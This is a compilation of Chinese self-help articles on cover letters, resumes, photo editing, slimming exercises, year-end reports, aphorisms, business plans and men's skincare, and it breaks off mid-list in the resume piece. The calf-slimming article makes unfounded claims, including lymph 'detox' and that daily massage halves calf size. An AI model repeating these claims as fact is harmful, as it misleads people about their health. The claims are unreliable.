12.要积极争取，但不要撒谎--万一你获准面试或者需要接受测试，很容易露出马脚。雇主对于履历表上的不实宣言大多具有慧眼，所以无法当面自圆其说的，绝对不要出现在履历表上。有些组织甚至会采用你前任雇主所委托的人力公司，这种公司专门负责过滤诈欺者和华而不实的吹嘘者。
篇12：六招教你搞定完美求职信
六招教你搞定完美求职信
一封既可以令求职者在一堆中脱颖而出，也可以令一位很有希望的求职者看起来如同一个毫无创意的只会“剪切粘贴”的人。遗憾的是，绝大多数求职信读起来都如出一辙，都不过是把简历上的内容复述了一遍。这样一封求职信摆在你面前，你有耐心从头读到尾吗？估计不会，所以，大多数招聘经理们也不会。所以我就认真梳理了这些年来我所用过的求职信写作要点和技巧。
1、简短
简约是美。求职信顶多写三段，半页纸足矣。少点陈词滥调，多些真材实料。
2、不要简单地复述简历
和老板性格很像？你很可能被雇佣向老板举荐朋友之前需考虑的12件事如何管理你的个人品牌，尤其在求职期间许多人的求职信无非就是把简历写成段落。事实是，你的这封求职信是同简历一起寄出（或是在同一封电子邮件中发出），所以招聘经理们至少会扫一眼你的简历（有时说不定还会看得比你的求职信更仔细）。因此，你应该在求职信中展现你的个性、好奇心以及你对所申请的这份工作的热情。我给你个专业的'意见：先搜索一下这个领域或是公司的历史，然后从中挑出一些比较有意思的方面放入求职信中。
比如，如果要在科技领域内求职，我会在求职信中提到，当看到摩尔定律在自己眼前改变着科技产业时内心的激动，也会讲到能成为这种变革的一部分时那种激动。如果我想要在时尚圈内谋个职业，那就要谈谈自80年代以来流行风尚的种种变迁。每个领域都有不为人知的历史，好好发掘以显示你的专业程度以及对这个行业的兴趣。
3、无需写称呼
有时你根本无从知晓是谁在读你的求职信，千万别写什么“亲爱的招聘经理”或是“敬启者”这类索然无味的称呼。如果你不知道该对谁打招呼，那干脆就什么也别写，直接从求职信开头写起即可。
4、用PDF发送
不是每家公司的电脑都可以打开WORD文档或是网页，但人人都可以无需任何格式转换就打开一份PDF文件。文件格式转换有两大问题，首先，招聘经理们很有可能会嫌麻烦而转看下一位求职者的简历；其次，文件格式转换会导致你原本文档的排版错乱。这两个问题都挺糟糕。（注意：本来我写的是、doc后缀的文件要比、docx后缀要容易打开，但有评论说，PDF格式无疑是最好的。首先不容易被篡改，而且在不同的电脑上显示的格式也是一样的。）
5、一定不要使用下面的格式
“我叫XXX，我申请的是XXX职位。”首先他们都知道这些信息，其次这种格式会令你看起来没什么经验。
6、结语要精彩
求职信的结尾处要简明快速地（对的，我的意思是快速）阐述下你能够胜任这份工作的经历或是世界观。这是关键，要用它来做结尾，而且一定要简洁明了，1到2秒钟就能读完。如果写得太长，就会显得你很啰嗦。
篇13：美图秀秀秀出完美自我
我很自信，所以喜欢秀出完美自我，喜欢在照相机前狂拍POSE，不过，但是有时我的美丽会因为复杂的背景抢镜而逊色，不过现在不怕啦，美图秀秀最新版推出“换背景”功能，哇，听说很好用，
赶快下载来试用一下，哇，超简单的操作。但是效果超好哦，看看。
美图秀秀：下载地址
图1
不但换掉不好看的背景，还添加了非主流的个性背景，哇，美的不能说嘛。嘿嘿，如果你有需要换背景的照片，赶快百度搜索一下美图秀秀最新版，跟我一起百变背景，偷偷告诉你，非常简单哦。
首先打开原图，看我的背景很暗，不好看，
图2
不过，在换背景之前，还是忍不住给自己美美容化化妆，嘻嘻，美女也要修饰嘛。反正用美图秀秀化妆是那么滴简单。
图3
嘻嘻。粉嫩腮红和变色瞳孔添加上后，整个美女的气质就来啦。那就言归正传，换背景，找到“场景”标签下的“抠图换背景”。
图4
美图秀秀提供好几个非主流背景图，嘻嘻，选择一个喜欢的，场景会立即跳转到抠图页面。用画笔绕人物一周即可。
图5
抠图完毕，场景又立即跳转到下图，嘻嘻，背景就这么轻松换掉，不留一点痕迹哦。
图6
篇14：教你如何瘦出蜜桃臀
小蛮腰加性感翘臀，才会让女性更加性感迷人，那么怎样瘦腰提臀呢？下面编辑推荐4套瘦腰提臀减肥操，强力燃脂去肉，赶紧看看吧。
瘦腰动作
一、美人抬腿――紧实身体侧腹，让腰线玲珑有致
1、以身体左侧着地，侧躺于地，左手手肘与地面呈90度弯曲支撑上半身，手肘位置约在肩膀下方。
2、两膝微弯，右手自然地放在身体前方。
3、右脚伸直举起，脚掌与脚踝呈90度直角，趾尖朝前。
4、此动作维持10秒，反覆10次，左右各做20次。
二、功夫踢腿――踢走腰间赘肉，换上性感低腰裤
1、左手扶住墙壁或椅子，右腿抬起，右膝呈90度弯曲，右腿抬起的角度越大，可使股关节的运动效果越好。
2、大腿与骨盆连接处、膝盖与脚踝，三处尽可能维持相同高度，上半身请保持直立。
TIPS：
1、脚的高度不变，右膝使力将小腿踢出。左右腿各做30次。
2、小腿踢出的角度略偏上方时，具有锻炼臀部及大腿后侧肌肉的功效。
瘦臀动作
一、瘦臀姿――让松垮肥臀变成心形蜜桃臀
1、仰躺于平地上，两膝拼拢抬起，膝盖弯曲呈直角。
2、利用膝盖在空中画圆，顺时针方向与逆时针方向各10次。
3、两手张开平放贴地，两脚并拢，将膝盖弯曲90度。
4、膝盖角度不变且慢慢将两膝往左倾贴地，脸部则朝右转。
5、此动作维持10秒，接着换边重复同样的动作。
TIPS：
1、请注意肩膀要维持贴地，不要浮起来。
2、做完此运动后，你会发现从地面起身时，会比平常更轻松地站起，代表你的骨盆有获得调整喔！
二、抬腰体操――让臀部浑圆紧实，同时活动肩胛骨
1、请于平地上仰躺，手掌朝上自然地放置于身体两侧，膝盖并拢弯曲让双脚立起。
2、两膝维持并拢，运用腰背的力量，将身体抬起，停留10秒钟，接着再慢慢回覆，动作重覆10次。
TIPS：
1、膝盖会不自觉打开的女性，可将抱枕或毛巾夹在两膝之间，并注意使用大腿内侧肌肉的力量。
2、如果这个动作对你已是轻而易举，可尝试在身体抬起时，一只脚跟着伸直抬起维持10秒，然后再换抬另一只脚做同样的动作。
篇15：教你如何瘦出纤细小腿
你想瘦腿？怎么才是瘦腿最快的方法，快速瘦腿的独家秘方，是不是很像知道，那就快来看看。让别人羡慕的瘦腿即可拥有。
瘦小腿方法一、基本方法
每次按摩小腿10分钟，可发挥500点攻击力。
每次按摩小腿20分钟，可发挥1000点攻击力。
每次按摩小腿30分钟，可发挥1500点攻击力。
(这里所指的时间，是指左右腿各按摩10分钟，才算10分钟的量。)
瘦小腿方法二、辅助用品
1、一般乳液 ( 婴儿乳液、身体乳液)。
2、套上丝袜(效果等同一般乳液)。
瘦小腿方法三、瘦腿小窍门
对于众多女性朋友而言，脂肪往往堆积到下半身，就是所谓的梨形身材的人占多数，脂肪较多堆积在腿部。只有坚持长时间的健康地减肥，下半身的赘肉才会逐渐减少的。
1、上楼梯的时候
抬起脚跟，以腿部承担体重，这祥可以消除大腿内侧和臀部的赘肉。
2、坐椅子的时候
将两条小腿用力盖在一起，从一数到8后再交换两腿。反复此动作，呼吸不要停止。这样可以锻炼小腿线条。
3、看电视的时候
坐在椅子上，膝盖不要弯曲，将一条腿抬起，再放下，反复此动作8-10次再换另一条腿，可以去掉大腿两侧的赘肉。
4、散步的时侯
散步走路的时候加快速度，尽量将步子迈得大些，这样腿上的所有肌肉都可以得到锻炼。简单的说就是充满活力的走路。这样走路的方式在平时应该养成习惯。
瘦小腿方法的效果
1、促进淋巴排毒，消除多余水份和废物，改善水肿型萝卜腿。
2、软化小腿肌肉，改善肌肉型萝卜腿。
3、每天按摩小腿10分钟，一个月至少可瘦1.5公分。每天按摩小腿30分钟，小腿肚可以缩小一半。
4、洗澡后10分钟内按摩效果最好。此时小腿血液循环最佳，可以趁机待在充满蒸气的浴室内，先用毛巾擦干小腿，再涂上小腿霜或乳液按摩10分钟，可加速乳霜吸收与淋巴排毒。
三个步骤教你如何纤细小腿
一方面要在运动后充分放松肌肉，另一方面，也要维持一定的运动习惯，以免脂肪“乘虚而入”，这是改善小腿粗壮最有效的方式之一。
形成肌肉型小腿的原因是运动习惯不好形成大块肌肉，之后停止运动，肌肉流失、脂肪填充，因此，腿上主要是脂肪、僵硬脂肪和肌肉的混合、肌肉，要改变小腿，第一步就要多按摩，然后减少脂肪！
按摩方法：从脚踝向大腿根按摩，双手合成圈，圈住小腿将小腿肌肉向上提升;在膝盖窝处用力按压7下;大腿前侧中线上从膝盖一直按压至大腿根;在腹股沟处用手掌外侧稍用力按压即可。按摩时间15分钟以上，放松较为彻底。
当然，软化脂肪只是第一步，接下来就是用有效的运动来消灭脂肪。所有的燃脂运动都能减少脂肪。另外，一些针对小腿的肌肉锻炼能增加肌肉强度、改善肌肉线条，也是很好的方法。活动脚尖、拉伸小腿肌肉是很好的肌肉锻炼。
当然，在改善肌肉型小腿的时候，不要忘了它是怎么形成的。因此，一方面要在运动后充分放松肌肉，另一方面，也要维持一定的运动习惯，以免脂肪“乘虚而入”。
最后，改善肌肉型小腿并不是那么简单的事情。因此，像任何一个局部线条的雕塑工作一样，改善肌肉型小腿也需要您的精力和耐心。
总结：怎么样没白看吧，还不赶快回家试试，不要多久，只要你坚持的做1个月效果自然可见，也不需要你花钱，赶快行动吧！
篇16：教你如何写出完美的公司年度总结
年关将近你的年终总结应该怎么写呢?对大部分职场中人而言，年终总结报告很可能只是一份例行公事的“家庭作业”，你甚至不能确定自己辛苦逐字逐句(或是七拼八凑)码足的几千上万字，会不会被顶头上司瞥上一眼。
但是也许没人敢对这个“一年一度”的总结怠慢，不管这一年里表现是好是坏，业绩是好是赖，每个人都要在这份总结里为自己“正名”：做不好是因为有很多客观原因，没有功劳也有苦劳吧?做的好是因为自己努力，更重要的是因为领导英明!
于是一份小小的年终总结里，却蕴含了许多微妙的关系：你的“客观原因”会不会让上司觉得是在寻找托辞?你的“业绩总结”会不会让上司觉得是在邀功请赏甚至功高盖主?你来年的“宏伟蓝图”会不会正好戳中老板的痛处?……没人想把一份总结搞的那么复杂，但是职场如江湖，江湖中本就没有简单的事。
首先，以下三种形式的年终总结，别出现在领导的案头：
1、敷衍了事。这类年终总结是最常见的。
2、太仔细。通篇啰啰嗦嗦，表现自己的思想多于实际的业绩。想要表现自己的文采不是不好，但还是要有点“八股文”意识，提纲式地点出要点，逻辑、标题、结构清晰，形容描写的部分放在内文就可以了。
3、报告太长。一年的时间说长不长，说短不短，一两页的A4纸的总结，长度已经足够。
另外，六个误区你也需要谨记：
误区一：“总结一定要低调”;
误区二：“总结就是要格式化”;
误区三：“报喜不报忧是上策”;
误区四：“总结就要面面俱到”;
误区五：“总结难免临阵磨枪”;
误区六：“总结要向全体汇报”。
一份好的年终总结，不止需要记住上面的关键点，而且还要根据大家所在单位的性质不同，有些不同的注意点你需要注意：
如果是国企的话，你需要注意：
要点一：篇幅要够长。要想做到篇幅长，除了下苦工夫狠写一通外，还有一个捷径可走——字大行稀;
要点二：套话不可少。如开头必是“时光荏苒，很快就要过去了，回首过去的一年，内心不禁感慨万千……”;
要点三：数据要直观。如今是数字时代，故数据是多多益善，如“业务增长率”、“顾客投诉减少率”、“接待了多少来访者”，等等。
要点四：用好序列号。序列号的最大好处是可以一句话拆成好几句说，还能几个字或半句当一句，在纸面上大量留白，拉长篇幅的同时，使总结显得很有条理。
如果是民营企业或者外企，你需要注意：
一、要充分认识到总结的要义;
二、对一年来工作的回顾，对一年来各项工作的完成情况进行总结，全面总结成绩;
三、分析取得成绩的原因;
四、对当前形势的展望与分析;
五、下一年度工作计划与安排。
最后，你需要注意，艺术加工也是非常重要的：
一、重视意义，轻视细节或数字;
二、重视数字或细节，轻视意义;
三、重视亮点和口号，轻视所有其它的业绩;
四、重视将要做的事，强调观察到的事;
五、重视想法的全面性，轻视细节的完整性;
六、绝对不要让阅读你年终总结的人看透你的.写作艺术，如果真有人阅读的话。
在制作年终总结的时候如果还是存在恐惧感，以下5条可以有效的帮助到你：
一、分割时间段，去除总结恐惧症
写总结总是让人头疼，这样的抱怨时常在我们耳边响起：有啥好总结的呢？每天7点起床，8点上车，9点刷卡，干活，吃饭，干活，下班。天天如此，不是吗？是的，如果把每一天的工作归结为时间上的累加和重复，那么总结必然会失去其意义。不过真若如此，想必我们工作多久也不会有丁点进步和教训，工作中的得失也一并忽略了。所以实际上并非无可总结，也不是总结太难，而是我们太懒。
我们对写总结的恐惧，来源于我们对反思和回顾的怠慢。一年的时间，交给一两个小时去总结，当然无从下手。可如果我们在时间轴上标注出一些节点，然后依次记录下当时的收获和成绩，总结就会有的放矢，你的问题也会得到梳理和明确。
因此，善于做每一天、每一月、每一段时间的小结，是做好年终总结的前提。
如何小结？我们可以跨界地借鉴一下柳比歇夫的时间管理方法：
1、记录。制作工作记实表，真实准确地反映每段工作所耗费的时长，这一点可以借助很多时间管理软件进行，用很短的语句来描述即可；
2、统计。每填完一个时间区段后，对时间耗费情况进行分类统计，用去的时间，应该同从事的工作相称。看看每一部分工作的时间比例有多大；
3、分析。单纯地罗列自己的工作，只能让总结成为一篇枯燥的流水账，发现问题，还要不流于问题的现象。这需要对照工作效果，进行分析，包括成本与产出、时间耗费的情况，找出造成低效的因素；
4、反馈。根据分析结果制订消除阻碍因素的计划，并反馈于下一时段。
二、连续、密集记录的要义在于如下几个方面：
1、保持记录的真实性、准确性。真实是指工作现场的记录，而不是补记的。准确是要求记录的误差不大于15分钟，否则记录就无使用价值；
2、切记！不要相信记忆的估算，人对时间这种抽象物质的记忆是十分不可靠的
3、选择的时间记录区段要有代表性；
4、及时调整时间、精力的分配计划。在检查时间记录时，要找出上一时段计划时间与实耗时间的差，并以此为根据，对下一时段的时间耗用予以重新分配；
5、坚持就是成功。
有了足够多的统计样本，做好了资料的准备工作，大事小情一目了然。从你的时间脉络里找出事物的发展规律，指引未来的工作，这正是总结的价值所在。这时，我们再来落笔。
三、不必标准化，保持阅读的快感
不论是职场新丁还是老鸟，在写此类总结时都习惯于先上网搜一搜范文，大家看到的范式都相差不多，于是写法上就有了标准的范式。这不仅使得总结毫无光彩，而且费时费力，起不到任何收效。对于大部分的文种而言，总结是个人思维的展现，完全可以带有自己的个人风格。
一般说来，总结确有其规范，比如内容上不外乎3个方面：基本情况、成绩和失误，经验教训和来自展望。但是展现的手段则不必拘于一格，对于新人来讲，总结可以写得热情洋溢，激情飞扬；而对于一个工作经验丰富的职场人，则可以借助图表、模型等展现手段来清晰、量化地反映工作情况。实际上你保持着个人的写作模式，还一定程度上维护了你的创新精神。
表述方式上最好是叙述和议论的有机融合，叙述通过对人物、事件、原因、结果的交代来对工作状况做明晰的说明，议论则是指分析、综合、论证，它能把分散的、感性的材料转化和提升为具有指导意义的理论。
好看的总结不仅要自然、夹叙夹议、有真材实料（俗称干货），而且一定是详略得当的。长短要与实际的工作量相匹配，一个入职不久的新人，写了20多页纸，工作态度没得说，气势也有了，但难免让看的人觉得头大。
总结意味着挑选最重要的工作和想法进行汇报，不要遗漏重点，也切忌面面俱到。要在第一印象，就给人留下想要阅读下去的良好视觉触感。密密麻麻，或者厚厚一罗，都会使人望而生畏。
四、掌握分寸，讲出事实
报喜和报忧是总结中永恒的两大主题，比例该如何分配？有人总想掩饰自己的失误，推卸责任，或者展示谦虚，过分退让，这些都是费力不讨好的动作，只会导致在自夸和自贬中摇摆不定。其实保持客观的秘诀是不要刻意，保留自己最真实的想法就好，你越尊重事实，别人也就会越尊重你。
真实、客观就是礼貌，有一分说一分，实实在在。含糊则让人糊涂，很多时候，人们羞于面对真实的情况，于是总结充斥着“将要完成、预计达到”等等字眼，属于隐性的夸大现实。有些人说，这是为了让总结的基调更向上，更有希望，这样的想法实是出自错误的出发点。总结不单纯是汇报数据，不能止于一个结果，它更重要的使命是一次回顾和反刍，对自己的优势与不足有没有形成认识，从前的工作已经属于过去，无法改变，只能如实面对，真正的价值是你的思考，你从那些细碎的工作中找到的规律和办法。
除了要尽量真实，在语言和向上，还要注意把握分寸，总结不是写给自己看，领导是一定会过目的，写法上的个人化可不是彰显工作中的个人主义，总结一定要提及大局。客观准确的同时，姿态低调总是没错的，这就是说要看到功劳来自于上级和团队的支持配合，而不是留下一种“我做了最多工作”的印象。有职场专家曾说过一个写作技巧，供大家参考：写上司和团队的部分，调子要高，但一略而过；写到自己的部分就得具体实在，有功劳和成绩，要写足，但决不浮夸。
五、直观数据，美化版面
写好了总结，我们来看看如何做些美化工作。通篇文字容易让人的阅读产生不适，所以加进数字说明，不仅是客观需要，而且丛直观上也给人以阅读上的喘息。但数字多了也还是枯燥，不妨变成更为美观的图表、图形，一目了然，而且高耸的圆柱和柔软的线条，还会给人以良好的心理暗示。
数据汇报的要点在于严格按照隶属关系，一层一层地排序，这样使得数据有章可循，也有了上下文，同时它还是一种安全的做法。这样做也有助于思路的梳理，从自己的工作延展到部门和公司的大局中，方便做横向的对比，使看的人更容易明白和判断。
有了思路，不妨为其添加上序列号，使你要表达的每一层含义都具有独立的空间和细分区域，也让纸张保持一定量的留白。
篇17：完美总结美文
完美总结美文
人生就是一列开往宅兆的列车，路途上会有很多站口，没有一个人可以至始至终陪着你走完，你会看到来来往往、上上下下的人。假如幸运，会有人陪你走过一段，当这个人要下车的时候，即使不舍，也该心存感激，然后挥手作别，由于，说不定下一站会有另外一个人会陪你走的更远。
当明天变成了今天成为了昨天，最后成为记忆里不再重要的某一天，我们忽然发现自己在不知不觉中已被时间推着向前走，这不是静止火车里，与相邻列车交错时，仿佛自己在前进的错觉，而是我们真实的在成长，在这件事里成了另一个自己。
家庭Family这个词意味着什么吗？家庭FAMILY是爸（Father）和（And）妈（Mother）、我I爱Love你You。“爱”的中英文双解：Love爱=Listen倾听+Obligate感恩+Valued尊重+Excues宽恕。
咖啡苦与甜，不在于怎么搅拌，而在于是否放糖；一段伤痛，不在于怎么忘记，而在于是否有勇气重新开始。
为什么要那么痛苦地忘记一个人，时间自然会使你忘记。假如时间不可以让你忘记不应该记住的人，我们失往的岁月又有甚么意义？
吵架时为什么会大声？原因是，当两个人相互愤怒的时候，他们的心和心相距很远；为了填补这段间隔，他们必须呼喊，这样彼此才能听到。他们越是愤怒，心和心间隔则越是远远，于是，他们只有越发强力呼喊，他们彼此才能听到。反过来，也是恋爱时为什么喃喃低语的原因。
从正面看，是伟大的神（God）；从反面看，是卑鄙小人（dog）。实在，人们所犯的罪恶（evil），反过来，正是为了活着（live）。——换个角度很多事情便不一样
同时追两只兔子的人，一只也不会逮到。不要贪图无所不有，否则你将一无所有；不要试图无所不知，否则你将一无所知；不要企图无所不能，否则你将一无所能。
人生中十种无能为力的事：1、倒向你的墙。2、离你而往的人。3、流逝的时间。4、没有选择的出身。5、莫名其妙的孤独。6、无可奈何的遗忘。7、永远的过往。8、别人的嘲笑。9、不可避免的死亡。10、不可救药的喜欢。
笨人的爱情是批发出往的，仅凭“让我一次爱个够”的蛮力；聪明人的爱情是零售出往的，懂得“只爱一点点”的精妙。
友谊、爱情、婚姻都比如展水泥路，隔上一段就要留出一条缝隙，保持着一点点间隔。不留缝隙，路面很快就会膨胀、坏掉。
金钱是个颇有神力的照妖镜，小人、伪君子在它眼前皆原形毕露；爱情是个手法高超的化妆师，爱人、年轻人受它影响都容光焕发。
心脏是一座有两间卧室的屋子，一间住着痛苦，一间住着快乐；人自得之时不能笑得太响，否则会吵醒隔壁的'痛苦。
当地球180度转弯，白天就要变成黑夜；当地球继续180度转弯，黑夜又恢复白天。当我们为了一个人180度转弯，我们背对着自己的叹息；当我们为了自己再次180度转弯，实在一切都可以重新开始！
每个人都是上帝咬过一口的苹果，都是有缺陷的！有的人缺陷比较大，那是由于上帝特别钟爱他（她）的芳香！
爱情是零度的冰，友情是零度的水，也许我们是最好的冰水混合物。走到一起后，升温，化为友情的水；降温，结成爱情的冰。不冷不热间，就是爱情与友情的暧昧。
实在美丽的故事都是没有结局的，只由于它没有结局所以才会美丽。这就像为什麽悲剧总是比笑剧更让人难忘，也就像人们总是找寻的真爱，却往往擦肩而往，不是这个时代阔别了爱情，而是人们一开始就没有想过用一颗心往坚定的热和另一颗心，不是爱情不再永恒，而是浮躁和易变的心！
我以为终有一天，我会彻底将爱情忘记，将你忘记，可是，忽然有一天，我听到了一首旧歌，我的眼泪就下来了，由于这首歌，我们一起听过。
我们很多时候并不是由于安定了，想要结婚；而是无法与某人安定下来，所以才要结婚。
热恋时，情侣们常感叹上辈子积了什么德；结婚后，夫妻们常怀疑上辈子造了什么孽。
爱情就像攥在手里的沙子，越刻意地攥得紧，流失得就越快！
同样的一瓶水，便利店里2块钱，五星级酒店里却30块。很多时候，一个人的价值取决于所在的位置。
请感谢伤害你的人，由于他磨炼了你的心志！请感谢绊倒你的人，由于他强化了你的双腿！请感谢欺你的人，由于他增进了你的聪明！请感谢藐视你的人，由于他觉醒了你的自尊！请感谢遗弃你的人，由于他教会了你该独立！
生命中有一些人与我们擦肩了，却来不及遇见；遇见了，却来不及相识；相识了，却来不及熟悉；熟悉了，却还是要说再见。
哲人无忧，智者常乐，并不是由于所爱的一切他们都拥有了，而是所拥有的一切他们都爱。
一只脚踩扁了紫罗兰，紫罗兰却把香味留在那脚上，这就是宽恕。
永远不要以为别人的老公或老婆比自己的好，由于他们爱的并不是你。
真正的爱情不在于你知道他（她）有多好才要在一起；而是明知道他（她）有太多的不好还是不愿离开。
怀旧，不是由于那个时代多么好，而是那个时候，你年轻。
两个人之间的感情就像织毛衣，建立的时候一针一线，小心而漫长，拆除的时候却只需轻轻一拉。
人生试题一共有四道题目：学业、事业、婚姻、家庭。均匀分高才能及格，切莫花太多的时间和精力在任一题目上。
幸福不是被致命的错误所抹杀，而是被不断重复出现的小错一点点分解掉的。
婚姻不是1+1=2，而是0。5+0。5=1。即，两人各削往一半自己的个性和缺点，然后凑合在一起才完整。
我们最大的情敌不是第三者，而是岁月。
女人的幸福在于：他真的爱我；男人的幸福在于：她值得我爱。
篇18：手把手教你 写完美创业计划书
一份好的创业计划必须呈现竞争优势与投资者的利益，同时也要具体可行，并提出尽可能多的客观数据来加以佐证。具体编写过程中应把握以下几条原则：
（一）市场导向原则
利润来自于市场的需求，没有明确的市场需求分析作为依据，所编写的创业计划将是空泛的、无意义的。因此，创业计划应以市场导向的观点来编写，要充分显示对于市场现状的把握与未来发展的预测，同时要说明市场需求分析所依据的调查方法与实事证据等。
（二）文字精炼原则
创业计划应该避免那些与主题无关的内容，要开门见山直切主题并清晰明了的把自己的观点亮出来。风险投资家没有时间，也不愿意花过多的时间来阅读一些对他来说毫无意义的东西。文字精炼，观点明确，能较容易引起投资者的注意和兴趣，提高了融资成功的把握。
（三）前后一致原则
因为创业计划的内容复杂繁多，容易出现前后不一、自相矛盾的现象。如果出现这种情况，让人很难明白，甚至对计划产生怀疑。所以，阳光巴士创业网认为，整个创业计划前后的基本假设或预估要相互呼应，保持一致。
（四）呈现竞争优势原则
编写创业计划书的重要目的之一是为投资人或贷款人提供决策依据，借以融资。因此，创业计划书中要呈现出具体的竞争优势，显示经营者创造利润的强烈愿望，并明确指出投资者预期的报酬。但同时也应该说明可能遇到的风险或威胁，不能只强调优势和机遇而忽略不足与风险。
（五）便于操作原则
创业计划书是创业者拟定的创业行动蓝图，因此，它必须具有很强的可操作性，以便于实施。特别是其中的营销计划、组织结构、管理措施、应对风险的方法和策略等，必须具有可行性和可操作性。
（六）通俗易懂原则
计划书中应尽量避免技术性很强的专业术语。这些术语，不是谁都可以看得明白的，而且风险投资者更关心计划能为他们带来多大效益。优创业（ucy。cn）指出，过多的专业术语会影响到读者的兴趣，让他们觉得太深奥。即使不得己要使用专业术语，也应该在附录中加以解释和说明。
（七）客观实际原则
创业计划中的所有内容必须实事求是，即使是财务规划也要尽量客观、实际，切勿凭主观意愿进行估计。在创业计划中，阳光巴士创业网最后提醒创业者必须事先进行大量的调查和科学分析，尽量陈列出客观、可供参考的数据与文献资料。
篇19：教你打造完美肌肤的方法
紧急召集：紧肤水
这是一件非常适合男士使用的产品。毛孔粗大的油油男，使用紧肤水时可以帮助清除表皮残余油脂、收敛毛孔并保持肌肤的PH值呈弱酸性；干干男则能因为紧肤水中的保湿因素，而达到使肌肤柔软的功效。
剃须时，胡须部肌肤总会有所损伤，因此，紧肤水在剃须后使用，能让胡须部皮肤毛孔收缩，感觉会非常舒服。除了舒服，它也能帮助胡须部肌肤消炎，避免每天重复的剃须损伤给皮肤带来感染。
使用时，只要把紧肤水倒在手心上，用指腹以向上、向外的手法，轻轻拍满全脸（避开眼睛），直到吸收就可以了。
迅速清洁：T字部位
有些男人不习惯用洁面产品，但实际上，油油男的T字部位是「污染」的“重灾区”，每天分泌的大量油脂物堆积在油光光的鼻子两边，时间久了，就有了所谓的酒糟鼻。所以，每天洗脸时要用温水和洁面产品。
要选一款能产生丰富泡沫的洁面产品。一般的洗面奶都呈乳液状，其有效的清洁成分没有办法直接发挥出来。所以，需要先取适量洗面奶于手掌心，然后用另一只手按同一方向打圈，揉搓出丰富的泡沫，再把泡沫抹在脸上，以打圈的方式进行清洁并按摩脸部，这样才能起到好的洁面效果。在额头、两侧鼻翼和下巴部位做些轻轻的按摩，以旋转的方式，由下而上、由内往外地打螺旋，诱出油脂，再用清水洗干净。
定期检测：去角质
男性的角质层天生就比女性厚，不将角质层定期除去，表皮就会增厚，进而造成皮脂腺、汗腺阻塞，皮肤呼吸不畅，久而久之，脸上就会不干不净地出现很多问题。
每天洗脸时使用洁面产品，再加上定期除角质，可以帮助肌肤代谢。而且只要在洗脸后，补充肌肤水分，便可以保护肌肤不受外来刺激与伤害，可以稳定皮肤微酸性保护膜，保持肌肤健康。所以每周用去角质霜或磨砂膏做一次认真的清洁，用力量比较轻的中指和无名指轻轻按摩，清除表皮过盛的油脂和老化的角质细胞，皮肤会明显变得干净有光泽。
持续维护：护肤产品
男性的皮肤相比较不容易受到刺激，或受到的刺激较少，不少人以为这样的肌肤随便使用什么护肤产品都是可以的。其实不然。男生皮肤油脂分泌本来就比女生多，所以，最好选择那些清爽、干净、利落、不要太油腻的基础护肤产品。
男士护肤品必须以自己的肤质为基础，选择具有高渗透力、质地轻薄，包装设计上着重方便、快速的机能性需求（2～4件产品即可），再以喜好为辅，选择造型独特，香味淡雅或不含香料的产品，在简化的程序中，轻松打造100分男人。
篇20：10招教你写出完美简历
其实一份简历能够大体的体现出你这个人是怎样的。所以面试的简历非常的重要，作为面试者你一定要认真的对待，那么怎么样才能够写好一份简历，让你的面试官满意呢?请看下文!
没有必要撒谎
写简历最差的策略就是撒谎了。这种欺骗本身就自相矛盾。你到底希望和聪明人共事呢，还是笨人呢?大多数人希望和聪明人共事，但是聪明人你骗得了么，或者说被你骗了的算是你认为的聪明人么?你要和想找好工作，基本假设就是大家都是明白人不好骗的。看简历的人也上过学，也写过简历，更清楚其中的注水手段，以为自己能吹牛过关，大部分都是自取其辱。即便你过了简历筛选一关，也没那么容易，面试时候肯定会问你那些你写的东西，你答不上来，面试官还会觉得你人品有问题。有的同学说多参加几次面试不好么，好，但不能用这种方式，这完全就是自毁前程。
看你简历的那个人
某种程度上他在暗你在明，他了解的信息更多，信息非常不对称，应聘者处于劣势。他可以看到很多很多类似的简历，他会有一种“高频词麻木”的特征。你和别人都一样显然不能引起他的兴趣。而且看你简历的人，比如说我，都会有种自我膨大的感觉，喜欢寻找当年的自己，希望发现充满乐趣，积极向上的人。这实际上是看简历的人的一种自恋的想法，觉得自己当年如何如何，其实就像我当年也是一塌糊涂，但也会觉得自己当年伟光正。所以表现出来乐观积极是非常讨喜的。一篇充斥着无数“高频词”的简历，显然不能传达这种信息。
陈述事实
我觉得平白陈述就好了，不要有个人色彩。你觉得是精通，我可能觉得就是了解;你觉得是掌握，我可能觉得就是清楚概念。所以不要有这类词汇。你写“用Ruby写了自己的个人站点”这个没有什么可以辩驳的，也非常好证实。是不是你写的，怎么写的，遇到什么困难都能很容易知道。“用C写了数独解算器”就很平实，我知道你做了什么，会做什么。“读了SICP”，“做了50道《算法导论》的习题”，“看了nginx的一部分源代码”，“自己写了wc”都比“精通”，“掌握”之类的强多了。陈述就可以了，不要描绘。
你的作品
我因为简历的一句话面试了好多同学。有个同学写“用C++实现了Python解释器”，这个事情我做不到，所以我特别想找他来聊一聊，教教我编译原理的事情。很多计算机系的同学都学过《编译原理》，但绝大部分人什么也没写过。所以只要有这点，我就觉得他是个很特别的人，我很喜欢。有个同学写“在spoj有积分XXXX”，我立刻觉得应该找来聊聊，因为他的积分比我多。他一定是个爱做题，善于做题，并且善于用计算机解题的家伙，他非常可能会灵活运用各种算法。有个同学写“写了将近50个小游戏，包括俄罗斯方块，吃豆子，黑白棋等”，我觉得真是太棒了，这个家伙一定特别能专研，特别乐于娱乐自己，我要见一见。有个同学写“使用Python写了个分词小工具”，很好啊，这个说明了两点：你会用Python解决问题，你知道分词是什么东西，我们可以聊聊啊。我会因为简历里面的闪光点而想见见这个人，而不是简历的长度。你的作品是你最好的标签。
你看的书，你读的代码
把你看过的书列出来，把你看过的代码列出来。没看完就写上没看完。也可以写一个豆瓣主页的链接。有些小白真的是你让他可劲编都说不出来几个书名，然后还号称“精通”。你看过哪些开源项目的代码呢?什么也没看过?!那我怎么知道你写的东西靠谱呢?要知道这些读书的记录，读代码的记录，是非常难于伪造的，所以也是各位看官最重视的。你能随便伪造的东西别人也能，这种过硬的记录才是区分度最大的。没有实际的项目经验不可怕，但是总该看过几本书吧，总该看过一些代码吧。什么都没见过的人我不太相信对计算机有热情，恐怕在这个行业也很难有所发展。
你的学习路线
你怎么获取知识?你是维基百科，stackoverflow的用户么?你有GitHub账号么，关注自己感兴趣的项目了么?你阅读谁的blog，加入什么邮件列表，参加了什么线下交流活动?你想成为什么样的程序员，你知道谁是这样的程序员?你混开源社区不?你对自己的学习状况满意不?你还希望学习什么?
你的网页
